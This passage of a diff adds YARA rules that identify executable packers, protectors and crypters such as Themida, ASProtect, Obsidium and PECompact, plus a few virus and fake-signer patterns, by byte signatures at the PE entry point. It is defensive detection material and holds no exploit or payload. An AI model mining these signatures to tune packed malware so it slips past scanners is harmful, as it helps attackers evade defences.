+			$a0 = { 55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4Modified
+	{
+	strings:
+			$a0 = { B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule APatchGUIv11
+	{
+	strings:
+			$a0 = { 52 31 C0 E8 FF FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeSafeguardv10simonzh
+	{
+	strings:
+			$a0 = { C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner01CDCopsIIAnorganix
+	{
+	strings:
+			$a0 = { 53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeVIRUSIWormHybrisFEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 16 A8 54 00 00 47 41 42 4C 4B 43 47 43 00 00 00 00 00 00 52 49 53 00 FC 68 4C 70 40 00 FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1322ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivateEXEProtector20SetiSoft
+	{
+	strings:
+			$a0 = { 89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule NTkrnlSecureSuite01015DLLNTkrnlSoftware
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule UPXHiTv001DJSiba
+	{
+	strings:
+			$a0 = { 94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Vpackerttui
+	{
+	strings:
+			$a0 = { 89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule IProtect10FxlibdllmodebyFuXdas
+	{
+	strings:
+			$a0 = { EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PseudoSigner02DxPack10Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SecureEXE30ZipWorx
+	{
+	strings:
+			$a0 = { E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressorv12CGSoftLabs
+	{
+	strings:
+			$a0 = { 45 78 50 72 2D 76 2E 31 2E 32 2E }
+	$a1 = { 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 }
+	$a2 = { 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftPIMPInstallSystemv13x
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Enigmaprotector110111VladimirSukhov
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 }
+	$a1 = { 60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 3D 1A }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule PECompactv140b5v140b6
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxExplosion1000
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKZIPSFXv11198990
+	{
+	strings:
+			$a0 = { FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEBundlev20b5v23
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PUNiSHERV15DemoFEUERRADER
+	{
+	strings:
+			$a0 = { EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule HACKSTOPv110v111
+	{
+	strings:
+			$a0 = { B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1336ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule DualseXeEncryptor10bDual
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MarjinZEXEScramblerSEbyMarjinZ
+	{
+	strings:
+			$a0 = { E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45 E4 FF 35 78 33 00 10 FF D6 89 45 E0 8D 45 E0 50 8D 45 E4 50 FF 75 08 E8 D1 02 00 00 89 45 DC FF 75 E4 8B 35 74 20 00 10 FF D6 A3 7C 33 00 10 FF 75 E0 FF D6 83 C4 1C A3 78 33 00 10 C7 45 FC FE FF FF FF E8 09 00 00 00 8B 45 DC E8 A0 01 00 00 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule nPack111502006BetaNEOx
+	{
+	strings:
+			$a0 = { 83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DingBoysPElockPhantasmv15b3
+	{
+	strings:
+			$a0 = { 9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ShellModify01pll621
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01MacromediaFlashProjector60Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Packman0001Bubbasoft
+	{
+	strings:
+			$a0 = { 0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule aPackv098bDSESnotsaved
+	{
+	strings:
+			$a0 = { 8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ASProtectvIfyouknowthisversionpostonPEiDboardh2
+	{
+	strings:
+			$a0 = { 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Aluwainv809
+	{
+	strings:
+			$a0 = { 8B EC 1E E8 ?? ?? 9D 5E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AntiDote12DLLDemoSISTeam
+	{
+	strings:
+			$a0 = { EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MSLRHv032afakeMicrosoftVisualCemadicius
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftwareCompressV12BGSoftwareProtectTechnologies
+	{
+	strings:
+			$a0 = { E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Themida1201OreansTechnologies
+	{
+	strings:
+			$a0 = { 8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PECompactv126b1v126b2
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Cruncherv10
+	{
+	strings:
+			$a0 = { 2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AntiDote1214SEDLLSISTeam
+	{
+	strings:
+			$a0 = { EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectSKE21xexeAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule DBPEv210DingBoy
+	{
+	strings:
+			$a0 = { EB 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? EB 58 75 73 65 72 33 32 2E 64 6C 6C ?? 4D 65 73 73 61 67 65 42 6F 78 41 ?? 6B 65 72 6E 65 6C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPacKV37LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElock099tE
+	{
+	strings:
+			$a0 = { E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WinZipSelfExtractor22personaleditionWinZipComputing
+	{
+	strings:
+			$a0 = { 53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+/*	
+	rule Securom7SonyDADC
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? 0A ?? ?? ?? ?? ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule ZipWorxSecureEXEv25ZipWORXTechnologiesLLC
+	{
+	strings:
+			$a0 = { E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackFullEdition117iBoxaPLibAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Alloyv1x2000
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoiner153Stubengine171GlOFF
+	{
+	strings:
+			$a0 = { E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PseudoSigner02MicrosoftVisualC70DLLAnorganix
+	{
+	strings:
+			$a0 = { 55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EYouDiDaiYueHeiFengGao
+	{
+	strings:
+			$a0 = { 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptorV21Xsoftcompletecom
+	{
+	strings:
+			$a0 = { 83 C6 14 8B 55 FC E9 ?? FF FF FF }
+	$a1 = { E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PCShrinkerv045
+	{
+	strings:
+			$a0 = { BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
